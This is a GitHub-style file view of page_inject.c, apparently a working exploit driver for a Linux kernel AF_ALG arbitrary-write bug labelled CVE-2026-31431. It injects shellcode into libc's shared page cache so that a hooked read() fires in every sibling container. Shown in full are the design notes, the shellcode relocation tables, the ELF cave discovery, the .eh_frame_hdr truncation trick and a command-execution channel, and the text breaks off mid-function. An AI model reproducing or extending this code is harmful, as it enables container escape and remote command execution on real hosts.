-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpage_inject.c
More file actions
3174 lines (2835 loc) · 121 KB
/
Copy pathpage_inject.c
File metadata and controls
3174 lines (2835 loc) · 121 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* page_inject.c -- CVE-2026-31431 page-cache injector
*
* Static-linked driver that exploits CVE-2026-31431 (the AF_ALG
* authencesn ESN-rotation 4-byte arbitrary write) to inject shellcode
* into the page-cache pages of a target libc.so.6. Because Docker/
* containerd back overlayfs lower-layer files with shared inodes, every
* container instantiated from the same image shares the same physical
* libc page cache; corrupting it from one container makes the hook fire
* in every sibling container.
*
* Typical usage: run from the host with --root /proc/<pid>/root pointing
* at a target container's mount namespace; the binary is statically
* linked so its own libc isn't subject to the hook it installs.
*
* Discovery (per-libc, ELF-parsed at runtime):
* - read() symbol (hook target)
* - __libc_single_threaded (emulated for OLD-cmpb prologues)
* - read()'s prologue kind (cmpb / push+movsxd+xor / mov fs:)
* - .text inter-segment cave (Zone C + Zone A in path A)
* - .hash section OR .eh_frame_hdr (slot table + CMD + OUTPUT areas)
* - .bss end / Secure-RPC stub (per-process key cache)
* - PT_INTERP / ld.so cave (path B trampoline target)
* - libc GOT[_rtld_global] (path B cross-library anchor)
*
* Two layouts are auto-selected at inject time:
* path A: Zone C + Zone A in libc's .text cave (default; debian,
* fedora, arch, ubuntu 22.04).
* path B: small (~36 B) trampoline in libc's cave + zone_c_ld + Zone A
* in ld.so's .text cave (when libc cave too small; ubuntu 24.04).
* If neither layout fits, page_inject refuses cleanly without writing
* anything to disk or page cache.
*
* Zone A (cve_write4) is fully position-independent -- no patching needed.
*
* Build (static; immune to its own hook):
* make # via gen_arrays.sh + asm_bytecode.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <errno.h>
#include <elf.h>
#include "write_backend.h"
#include "rxrpc_write.h"
#include "dirtyfrag_write4.h"
#include "pintheft_write.h"
#include <linux/if_alg.h>
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_IV
#define ALG_SET_IV 2
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif
#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
#ifndef ALG_OP_DECRYPT
#define ALG_OP_DECRYPT 0
#endif
/* -- Constants ---------------------------------------------------- */
#define DEFAULT_LIBC "/usr/lib/x86_64-linux-gnu/libc.so.6"
#define ZONE_C_SIZE 693
#define ZONE_A_SIZE 606
#define ZONE_C_ALIGNED ((ZONE_C_SIZE + 15) & ~15)
#define MIN_TEXT_CAVE (ZONE_C_ALIGNED + ZONE_A_SIZE)
/* Path-B sizes -- must match the gen_arrays.sh summary. */
#define ZONE_C_LD_SIZE 690
#define TRAMPOLINE_SIZE 36
#define ZONE_C_LD_ALIGNED ((ZONE_C_LD_SIZE + 15) & ~15)
#define MIN_LD_CAVE (ZONE_C_LD_ALIGNED + ZONE_A_SIZE)
#define HASH_HDR_SIZE 8
#define MAX_SLOTS 512
#define MONITOR_SECONDS 30
#define CMD_OPCODE_EXEC 1
#define CMD_KEY_DONE 0xFFFFFFFD
#define OUTPUT_MAX 0x2000
#define CMD_TIMEOUT_SHELL 30
static int verbose = 1;
/* Write-primitive backend selection (default: AF_ALG). */
enum write_backend_type g_write_backend = BACKEND_AF_ALG;
/* -- Dual injection path -- design notes ---------------------------
*
* page_inject supports two layouts depending on libc's `.text` cave size:
*
* Path A (libc-only, default):
* Cave >= ZONE_C_ALIGNED + ZONE_A_SIZE (~1310 B today)
* Zone C + Zone A both live in libc's `.text` cave; .hash holds the
* slot table + CMD + OUTPUT areas; the `read()` prologue jumps to
* Zone C directly. Everything is intra-libc RIP-relative.
*
* Path B (libc trampoline + ld.so payload):
* libc cave too small (e.g. ubuntu 24.04 / glibc 2.39 -> 711 B)
* A small trampoline (~37 B) lives in libc's `.text` cave and does the
* fast-path .bss-key gate; on the slow path it jumps to Zone C in
* ld.so's `.text` cave by computing ld.so's runtime base from libc's
* GOT slot for `_rtld_global` (a libc->ld.so import that resolves at
* load time to an absolute ld.so-side address). Zone A lives in ld.so
* next to Zone C; Zone C addresses libc-side data (slot table, CMD,
* OUTPUT, .bss key, read+N) via a base register seeded by the
* trampoline.
*
* Anchor symbol selection (path B):
* We use `_rtld_global` -- a `GLIBC_PRIVATE`-versioned object that
* libc imports via `R_X86_64_GLOB_DAT` (verified across glibc 2.31
* -> 2.43). If a future distro ever drops it, fallback candidates in
* order of increasing risk are:
* 1. `_rtld_global_ro` -- same scheme, also exported by every
* ld.so we have measured.
* 2. `__tls_get_addr` -- a function symbol; would let the
* trampoline reach an executable rather
* than data offset; mostly the same
* relocation pattern (R_X86_64_JUMP_SLOT
* in libc's .rela.plt instead of .rela.dyn).
* We implement only `_rtld_global` today; the fallback symbols
* above are not implemented because no measured distro needs them.
* If a future distro fails the lookup, add `_rtld_global_ro` first.
* ---------------------------------------------------------------- */
/* -- ld.so layout (only populated when path B is selected) ------- */
struct ld_layout {
char path[1024]; /* resolved host-side path to ld.so */
int fd; /* O_RDONLY fd; -1 when unused */
uint64_t text_va; /* exec LOAD segment VA */
uint64_t text_foff; /* exec LOAD segment file offset */
uint64_t text_size; /* exec LOAD segment file size */
uint64_t cave_foff; /* inter-segment gap, 16-byte aligned */
uint64_t cave_va;
uint64_t cave_size;
/* Set by decide_inject_path() when path B is committed. */
uint64_t zone_c_ld_foff;
uint64_t zone_c_ld_va;
uint64_t zone_a_foff;
uint64_t zone_a_va;
/* In ld.so, LOAD segments have p_vaddr == p_offset, so a symbol's
* st_value (a VA) is identical to its file offset. We track it as
* a VA because the trampoline computes its delta as a VA-difference. */
uint64_t rtld_global_va;
};
/* -- Libc layout -- discovered at runtime via ELF parsing --------- */
/* Slot-region kind -- where the slot table + CMD + OUTPUT areas live
* inside libc. Modern glibc keeps the legacy `.hash` section (used as a
* 16 KB cave in the read-only LOAD segment); arch's libc strips it and
* we fall back to truncating the binary search table at the tail of
* `.eh_frame_hdr` to free up the same kind of cave. */
enum slot_region_kind {
SLOT_REGION_HASH = 0,
SLOT_REGION_EH_FRAME_HDR,
};
/* read() prologue kind. Different glibc versions emit different opening
* sequences; the injector must (a) recognise the pattern at discover
* time, (b) emit the correct displaced-byte emulation in zone_c's
* fast_path so single-threaded read() resumes correctly at read+N, and
* (c) write the right original bytes back at unhook time.
*
* PROLOGUE_OLD_CMPB
* [endbr64]
* cmpb $0x0, __libc_single_threaded(%rip) ; 7 bytes
* jne .Lthreaded ; 2 bytes
* ...
* glibc 2.36 (debian:bookworm) and 2.39 (ubuntu:24.04 / fedora:40).
* fast_path emulates the cmpb to set ZF for the original jne.
*
* PROLOGUE_GLIBC243_PUSH_RBP
* [endbr64]
* push rbp ; 1 byte
* movsxd rdi, edi ; 3 bytes
* xor r9d, r9d ; 3 bytes
* ...
* glibc 2.43 (archlinux). fast_path emulates the three displaced
* instructions byte-for-byte before jmp'ing to read+N. Total 7
* bytes of emulation; the 8th slot byte is a NOP filler.
*
* PROLOGUE_TLS_FS
* [endbr64]
* mov eax, fs:[0x18] ; 8 bytes (64 8b 04 25 18 00 00 00)
* test eax, eax
* jne ...
* glibc 2.31 (debian:bullseye) and 2.35 (ubuntu:22.04). The
* 8-byte mov fills the entire emulation slot; no NOP filler.
* The mov is NOT RIP-relative -- the FS-prefixed [disp32] form
* reads from absolute disp32 within %fs, so byte-copy is safe. */
enum read_prologue_kind {
PROLOGUE_OLD_CMPB = 0,
PROLOGUE_GLIBC243_PUSH_RBP,
PROLOGUE_TLS_FS,
};
struct libc_layout {
uint64_t read_va;
uint64_t single_thr_va;
uint64_t text_va;
uint64_t text_foff;
uint64_t text_size;
uint64_t text_cave_va;
uint64_t text_cave_foff;
uint64_t text_cave_size;
/* `.hash` metadata if present (otherwise zero -- slot region falls
* back to .eh_frame_hdr). */
uint64_t hash_va;
uint64_t hash_foff;
uint64_t hash_size;
/* `.eh_frame_hdr` metadata. Populated whenever the section exists
* (and is allocated), regardless of whether we use it for the slot
* region or not. */
uint64_t eh_hdr_va;
uint64_t eh_hdr_foff;
uint64_t eh_hdr_size;
uint64_t bss_va;
uint64_t bss_size;
uint64_t cmd_va;
uint64_t cmd_foff;
uint64_t output_va;
uint64_t output_foff;
uint64_t output_size;
uint64_t zone_c_va;
uint64_t zone_c_foff;
uint64_t zone_a_va;
uint64_t zone_a_foff;
uint64_t slot_start_va;
uint64_t slot_start_foff;
uint64_t slot_end_va;
uint64_t bss_key_va;
uint64_t read_foff;
int read_has_endbr;
int read_hook_len;
enum read_prologue_kind prologue_kind;
/* For PROLOGUE_TLS_FS: copy of the 8 bytes that make up the
* `mov eax, fs:[disp32]` instruction, captured at discover time.
* Used both to overlay the fast_path slot at inject time and to
* restore read()'s prologue at unhook time. The disp32 within
* these bytes is the absolute %fs displacement (NOT a RIP-rel
* value), so byte-copying is faithful. */
uint8_t tls_mov_bytes[8];
int slot_count;
uint32_t *slot_baseline; /* pre-injection slot values for baseline comparison */
/* Slot region: where slot_start_va, cmd_va, output_va all live.
* Either an offset into `.hash` (HASH kind) or the truncated tail
* of `.eh_frame_hdr` (EH_FRAME_HDR kind). */
enum slot_region_kind slot_region_kind;
uint64_t slot_region_va; /* first usable byte of the cave */
uint64_t slot_region_foff;
uint64_t slot_region_size; /* bytes from slot_region_va onward */
/* For SLOT_REGION_EH_FRAME_HDR: the inject patches `fde_count` to
* shrink the binary-search index so the freed tail is "officially"
* not part of the FDE table. unhook restores the original count. */
uint64_t fde_count_foff; /* eh_hdr_foff + 8 */
uint32_t orig_fde_count;
uint32_t new_fde_count;
/* Path-B fields -- populated only when `path_b` is non-zero.
* Path A leaves these zeroed and ignores them. */
int path_b; /* 0 = libc-only, 1 = ld.so split */
uint64_t trampoline_foff; /* libc trampoline placement */
uint64_t trampoline_va;
/* libc GOT slot for _rtld_global -- taken from libc's .rela.dyn
* R_X86_64_GLOB_DAT entry. Stored as a VA (relocation r_offset). */
uint64_t got_rtld_global_va;
struct ld_layout ld; /* dynamic linker layout (path B) */
};
/* -- Zone C relocation table ------------------------------------
* Patch formula: disp32 = target_VA - (zone_c_VA + rip_off) */
enum {
TGT_ZONE_A,
TGT_SINGLE_THR,
TGT_READ_PLUS7,
TGT_BSS_KEY,
TGT_SLOT_START,
TGT_SLOT_END,
TGT_CMD_KEY,
TGT_OUTPUT_BASE,
TGT_COUNT
};
struct reloc {
int off;
int rip_off;
int tgt;
};
static const struct reloc zone_c_relocs[] = {
/* Offsets recomputed against the post-stage-7 zone_c.asm where
* fast_path is 13 bytes (8-byte emulation slot + 5-byte jmp).
* Verified via `nasm -l zone_c.asm`. */
{ 2, 7, TGT_BSS_KEY }, /* R0 cmp dword [rip+d], 0 */
{ 69, 73, TGT_BSS_KEY }, /* R3 mov [rip+d], r15d */
{ 76, 80, TGT_SLOT_START }, /* R1 lea r14, [rip+d] */
{ 83, 87, TGT_SLOT_END }, /* R2 lea r13, [rip+d] */
{ 128, 132, TGT_ZONE_A }, /* R4 call zone_a (slot claim) */
{ 174, 179, TGT_SINGLE_THR }, /* R5 cmp byte [rip+d], 0x00 */
{ 181, 185, TGT_READ_PLUS7 }, /* R6 jmp read()+N (post-filler)*/
{ 260, 264, TGT_SLOT_START }, /* R12 lea r14 (exit-scan start) */
{ 267, 271, TGT_SLOT_END }, /* R13 lea r13 (exit-scan end) */
{ 304, 308, TGT_CMD_KEY }, /* R7 lea rbp, [rip+d] */
{ 409, 413, TGT_OUTPUT_BASE }, /* R8 lea r14, [rip+d] */
{ 475, 479, TGT_ZONE_A }, /* R9 call zone_a (write output)*/
{ 568, 572, TGT_CMD_KEY }, /* R10 lea rdi, [rip+d] (done) */
{ 576, 580, TGT_ZONE_A }, /* R11 call zone_a (signal done) */
};
#define NRELOCS (sizeof(zone_c_relocs) / sizeof(zone_c_relocs[0]))
/* -- Shellcode byte arrays (generated from .asm by gen_arrays.sh) -- */
/* Build with: ./gen_arrays.sh (writes asm_bytecode.c) */
extern const uint8_t zone_c_template[ZONE_C_SIZE];
extern const uint8_t zone_a_code[ZONE_A_SIZE];
extern const uint8_t zone_c_ld_template[ZONE_C_LD_SIZE];
extern const uint8_t trampoline_template[TRAMPOLINE_SIZE];
/* -- zone_c_ld relocation table (path B) ------------------------
* rbp-relative entries (rip_off == 0): disp32 = libc target VA + extra
* ld-RIP-relative entries (rip_off != 0): disp32 = ld_zone_a_va
* - (zone_c_ld_va + rip_off)
*
* Offsets verified against `nasm -l` listing of zone_c_ld.asm.
*/
struct ld_reloc {
int off; /* file offset of the disp32/imm32 in zone_c_ld */
int rip_off; /* end-of-instruction offset for RIP-rel; 0 = rbp-rel */
int target; /* TGT_LD_* */
int extra; /* additional offset (e.g. cmd_va + 4) */
};
enum {
TGT_LD_BSS_KEY, /* libc bss_key_va */
TGT_LD_SLOT_START, /* libc slot_start_va */
TGT_LD_SLOT_END, /* libc slot_end_va */
TGT_LD_ZONE_A, /* ld.so zone_a_va (RIP-relative) */
TGT_LD_SINGLE_THR, /* libc single_thr_va */
TGT_LD_READ_PLUS_N, /* libc read_va + hook_len */
TGT_LD_CMD, /* libc cmd_va */
TGT_LD_OUTPUT, /* libc output_va */
TGT_LD_COUNT
};
static const struct ld_reloc zone_c_ld_relocs[] = {
/* off rip_off target extra */
{ 0x3C, 0, TGT_LD_BSS_KEY, 0 }, /* .r3: mov [rbp+disp], r15d */
{ 0x43, 0, TGT_LD_SLOT_START, 0 }, /* .r1: lea r14, [rbp+disp] */
{ 0x4A, 0, TGT_LD_SLOT_END, 0 }, /* .r2: lea r13, [rbp+disp] */
{ 0x77, 0x7B, TGT_LD_ZONE_A, 0 }, /* .r4: call zone_a */
{ 0xA5, 0, TGT_LD_SINGLE_THR, 0 }, /* .r5: cmp byte [rbp+disp] */
{ 0xAD, 0, TGT_LD_READ_PLUS_N, 0 }, /* .r6: lea rax, [rbp+disp] */
{ 0xFF, 0, TGT_LD_SLOT_START, 0 }, /* .r12: lea r14, [rbp+disp] */
{ 0x106, 0, TGT_LD_SLOT_END, 0 }, /* .r13: lea r13, [rbp+disp] */
{ 0x12A, 0, TGT_LD_CMD, 0 }, /* .r7a: mov eax, [rbp+disp] */
{ 0x13E, 0, TGT_LD_CMD, 4 }, /* .r7b: mov eax, [rbp+disp+4]*/
{ 0x193, 0, TGT_LD_OUTPUT, 0 }, /* .r8: lea r14, [rbp+disp] */
{ 0x1D5,0x1D9, TGT_LD_ZONE_A, 0 }, /* .r9: call zone_a */
{ 0x232, 0, TGT_LD_CMD, 0 }, /* .r10: lea rdi, [rbp+disp] */
{ 0x23A,0x23E, TGT_LD_ZONE_A, 0 }, /* .r11: call zone_a */
{ 0x280, 0, TGT_LD_CMD, 8 }, /* .r7c: lea r10, [rbp+disp+8]*/
};
#define NRELOCS_LD (sizeof(zone_c_ld_relocs) / sizeof(zone_c_ld_relocs[0]))
/* -- ELF parsing helpers ---------------------------???-------------- */
static int pread_full(int fd, void *buf, size_t len, off_t off)
{
ssize_t n = pread(fd, buf, len, off);
return (n == (ssize_t)len) ? 0 : -1;
}
static int lookup_symbol(int fd,
uint64_t dynsym_off, uint64_t dynsym_sz,
uint64_t dynstr_off, uint64_t dynstr_sz,
const char *name, Elf64_Sym *out)
{
Elf64_Sym *syms = malloc(dynsym_sz);
if (!syms) return -1;
if (pread_full(fd, syms, dynsym_sz, dynsym_off) < 0) {
free(syms);
return -1;
}
char *strs = malloc(dynstr_sz);
if (!strs) { free(syms); return -1; }
if (pread_full(fd, strs, dynstr_sz, dynstr_off) < 0) {
free(strs); free(syms);
return -1;
}
int count = dynsym_sz / sizeof(Elf64_Sym);
int found = -1;
for (int i = 0; i < count; i++) {
if (syms[i].st_name == 0 || syms[i].st_name >= dynstr_sz)
continue;
if (syms[i].st_value == 0)
continue;
if (strcmp(strs + syms[i].st_name, name) == 0) {
*out = syms[i];
found = 0;
break;
}
}
free(strs);
free(syms);
return found;
}
/* Forward declarations: discover_layout calls into both the ld.so
* probe and the path decision; their definitions live below for
* narrative order. */
static int discover_ld_layout(const char *libc_path, int libc_fd,
struct libc_layout *L);
static int decide_inject_path(struct libc_layout *L);
/* -- Slot-region setup: .eh_frame_hdr fallback ----------------
*
* When `.hash` is absent (e.g. arch-style libc), we carve the slot
* region out of the tail of `.eh_frame_hdr`. The trick: the unwinder
* reads `fde_count` (4 bytes at offset 8 of `.eh_frame_hdr`) to know
* how many entries the binary-search FDE table has, so by truncating
* that count we logically shrink the table -- the freed tail bytes
* become "ours" without any unwinder seeing stale FDEs.
*
* The unwinder still works for IPs whose FDE used to live in the
* truncated tail -- it falls back to a linear scan of `.eh_frame`
* (LSB-spec-mandated behaviour when an IP isn't found in the binary
* search index). Slower for those IPs, still correct.
*
* We free MIN_REGION_BYTES (12 KB) at the tail. Layout there:
* [slot table | page-align pad | cmd page (4 KB) | output (<=8 KB)]
* matching the existing `.hash`-based layout.
*/
/* Free this much at the tail. Sized for the worst-case alignment of
* slot_table (2 KB) + page-align pad (<=4 KB) + cmd page (4 KB) +
* output (4 KB minimum) + sub-page tail of .eh_frame_hdr (<=4 KB).
* 16 KB leaves at least 4 KB usable for OUTPUT in every measured glibc
* 2.36 / 2.39 / 2.43 layout. */
#define EH_HDR_MIN_REGION_BYTES (16 * 1024)
#define EH_HDR_HEADER_SIZE 12 /* version + 3 enc bytes + 4-byte ptr + 4-byte count */
static int setup_eh_hdr_region(int fd, struct libc_layout *L)
{
if (L->eh_hdr_size < EH_HDR_MIN_REGION_BYTES + EH_HDR_HEADER_SIZE + 8) {
fprintf(stderr,
"[!] .eh_frame_hdr too small for slot region "
"(%lu B; need %d)\n",
(unsigned long)L->eh_hdr_size,
EH_HDR_MIN_REGION_BYTES + EH_HDR_HEADER_SIZE + 8);
return -1;
}
/* Derive the TRUE original fde_count from section size, not from the
* live header field. The on-disk fde_count may already be truncated
* by a previous inject we never unhooked from; reading it would let
* a subsequent inject re-truncate from the truncated value, and the
* unhook would then "restore" to the truncated value rather than
* the genuine original. The section size is set at link time and is
* never patched, so (eh_hdr_size - 12) / 8 is the canonical
* "original FDE count" for the lifetime of this libc binary. */
if (((L->eh_hdr_size - EH_HDR_HEADER_SIZE) % 8) != 0) {
fprintf(stderr,
"[!] .eh_frame_hdr: size %lu not 12 + 8*N\n",
(unsigned long)L->eh_hdr_size);
return -1;
}
uint32_t orig_count = (uint32_t)
((L->eh_hdr_size - EH_HDR_HEADER_SIZE) / 8);
/* For diagnostic purposes, also peek at the live header field and
* warn if it doesn't match the section-implied original. */
uint32_t live_count = 0;
pread_full(fd, &live_count, 4, L->eh_hdr_foff + 8);
if (live_count != orig_count && verbose) {
printf(" .eh_frame_hdr: live fde_count=%u differs from "
"section-derived %u (assuming previous inject left this "
"truncated; unhook will restore to %u)\n",
live_count, orig_count, orig_count);
}
/* Round freed bytes up to 8 (FDE entries are 8 B each). */
uint64_t free_bytes = (EH_HDR_MIN_REGION_BYTES + 7) & ~7ULL;
uint32_t entries_to_remove = (uint32_t)(free_bytes / 8);
if (entries_to_remove >= orig_count) {
fprintf(stderr,
"[!] .eh_frame_hdr: would truncate all %u FDEs\n", orig_count);
return -1;
}
L->orig_fde_count = orig_count;
L->new_fde_count = orig_count - entries_to_remove;
L->fde_count_foff = L->eh_hdr_foff + 8;
uint64_t truncate_offset = (uint64_t)EH_HDR_HEADER_SIZE +
(uint64_t)L->new_fde_count * 8;
L->slot_region_foff = L->eh_hdr_foff + truncate_offset;
L->slot_region_va = L->eh_hdr_va + truncate_offset;
L->slot_region_size = L->eh_hdr_size - truncate_offset;
if (verbose) {
printf(" .eh_frame_hdr cave VA 0x%lx file+0x%lx "
"size %lu B (truncated %u of %u FDEs; %lu B preserved)\n",
(unsigned long)L->slot_region_va,
(unsigned long)L->slot_region_foff,
(unsigned long)L->slot_region_size,
entries_to_remove, orig_count,
(unsigned long)truncate_offset);
}
return 0;
}
/* -- discover_layout -- parse ELF, resolve symbols, find caves ---- */
static int discover_layout(const char *libc_path, int fd, struct libc_layout *L)
{
memset(L, 0, sizeof(*L));
/* -- 1. ELF header --------------------------------------- */
Elf64_Ehdr ehdr;
if (pread_full(fd, &ehdr, sizeof(ehdr), 0) < 0) {
fprintf(stderr, "[!] Failed to read ELF header\n");
return -1;
}
if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 ||
ehdr.e_ident[EI_CLASS] != ELFCLASS64 ||
ehdr.e_ident[EI_DATA] != ELFDATA2LSB ||
ehdr.e_type != ET_DYN) {
fprintf(stderr, "[!] Not a valid ELF64 little-endian shared library\n");
return -1;
}
if (ehdr.e_shoff == 0 || ehdr.e_shnum == 0) {
fprintf(stderr, "[!] No section headers in ELF\n");
return -1;
}
/* -- 2. Section headers ---------------------------------- */
size_t sh_total = (size_t)ehdr.e_shnum * ehdr.e_shentsize;
Elf64_Shdr *shdrs = malloc(sh_total);
if (!shdrs) return -1;
if (pread_full(fd, shdrs, sh_total, ehdr.e_shoff) < 0) {
fprintf(stderr, "[!] Failed to read section headers\n");
free(shdrs);
return -1;
}
/* -- 3. Section string table ----------------------------- */
if (ehdr.e_shstrndx >= ehdr.e_shnum) {
fprintf(stderr, "[!] Invalid e_shstrndx\n");
free(shdrs);
return -1;
}
Elf64_Shdr *shstr_sh = &shdrs[ehdr.e_shstrndx];
char *shstrtab = malloc(shstr_sh->sh_size);
if (!shstrtab) { free(shdrs); return -1; }
if (pread_full(fd, shstrtab, shstr_sh->sh_size, shstr_sh->sh_offset) < 0) {
free(shstrtab); free(shdrs);
return -1;
}
/* -- 4. Find sections by name ---------------------------- */
uint64_t dynsym_off = 0, dynsym_sz = 0;
uint64_t dynstr_off = 0, dynstr_sz = 0;
int have_text = 0, have_hash = 0, have_bss = 0;
int have_dynsym = 0, have_dynstr = 0;
int have_eh_hdr = 0;
for (int i = 0; i < ehdr.e_shnum; i++) {
if (shdrs[i].sh_name >= shstr_sh->sh_size)
continue;
const char *n = shstrtab + shdrs[i].sh_name;
if (strcmp(n, ".text") == 0) {
L->text_va = shdrs[i].sh_addr;
L->text_foff = shdrs[i].sh_offset;
L->text_size = shdrs[i].sh_size;
have_text = 1;
} else if (strcmp(n, ".hash") == 0) {
L->hash_va = shdrs[i].sh_addr;
L->hash_foff = shdrs[i].sh_offset;
L->hash_size = shdrs[i].sh_size;
have_hash = 1;
} else if (strcmp(n, ".eh_frame_hdr") == 0 &&
(shdrs[i].sh_flags & SHF_ALLOC)) {
/* Only useful if it's actually mapped at runtime -- the slot
* region must be reachable via [rbp+offset] in the hook. */
L->eh_hdr_va = shdrs[i].sh_addr;
L->eh_hdr_foff = shdrs[i].sh_offset;
L->eh_hdr_size = shdrs[i].sh_size;
have_eh_hdr = 1;
} else if (strcmp(n, ".bss") == 0) {
L->bss_va = shdrs[i].sh_addr;
L->bss_size = shdrs[i].sh_size;
have_bss = 1;
} else if (strcmp(n, ".dynsym") == 0) {
dynsym_off = shdrs[i].sh_offset;
dynsym_sz = shdrs[i].sh_size;
have_dynsym = 1;
} else if (strcmp(n, ".dynstr") == 0) {
dynstr_off = shdrs[i].sh_offset;
dynstr_sz = shdrs[i].sh_size;
have_dynstr = 1;
}
}
free(shstrtab);
free(shdrs);
if (!have_text) { fprintf(stderr, "[!] .text not found\n"); return -1; }
if (!have_bss) { fprintf(stderr, "[!] .bss not found\n"); return -1; }
if (!have_dynsym) { fprintf(stderr, "[!] .dynsym not found\n"); return -1; }
if (!have_dynstr) { fprintf(stderr, "[!] .dynstr not found\n"); return -1; }
/* Slot region is either .hash (preferred) or .eh_frame_hdr (fallback);
* we require AT LEAST one. */
if (!have_hash && !have_eh_hdr) {
fprintf(stderr, "[!] neither .hash nor .eh_frame_hdr present -- "
"no place for slot table\n");
return -1;
}
/* Pick the slot region. .hash is preferred -- entirely dormant on
* modern glibc since ld.so uses .gnu.hash for symbol lookups, no
* need to patch any header field. .eh_frame_hdr fallback truncates
* the FDE binary-search table to free up the tail bytes.
*
* The PAGE_INJECT_PREFER_EH_HDR=1 env var forces the .eh_frame_hdr
* path even when .hash is present -- a debug knob that lets us
* exercise the fallback end-to-end on glibc-2.36/2.39 distros
* (which do have a recognised read() prologue). */
int prefer_eh = 0;
{
const char *env = getenv("PAGE_INJECT_PREFER_EH_HDR");
if (env && env[0] != '\0' && env[0] != '0')
prefer_eh = 1;
}
if (have_hash && !prefer_eh) {
L->slot_region_kind = SLOT_REGION_HASH;
L->slot_region_va = L->hash_va + HASH_HDR_SIZE;
L->slot_region_foff = L->hash_foff + HASH_HDR_SIZE;
L->slot_region_size = L->hash_size - HASH_HDR_SIZE;
} else if (have_eh_hdr) {
L->slot_region_kind = SLOT_REGION_EH_FRAME_HDR;
if (verbose && prefer_eh && have_hash) {
printf("[*] PAGE_INJECT_PREFER_EH_HDR set -- "
"ignoring .hash, using .eh_frame_hdr fallback\n");
}
if (setup_eh_hdr_region(fd, L) < 0)
return -1;
} else {
/* prefer_eh forced but no .eh_frame_hdr -- fall back to .hash */
L->slot_region_kind = SLOT_REGION_HASH;
L->slot_region_va = L->hash_va + HASH_HDR_SIZE;
L->slot_region_foff = L->hash_foff + HASH_HDR_SIZE;
L->slot_region_size = L->hash_size - HASH_HDR_SIZE;
}
if (verbose) {
printf("[*] Sections:\n");
printf(" .text VA 0x%lx size 0x%lx file+0x%lx\n",
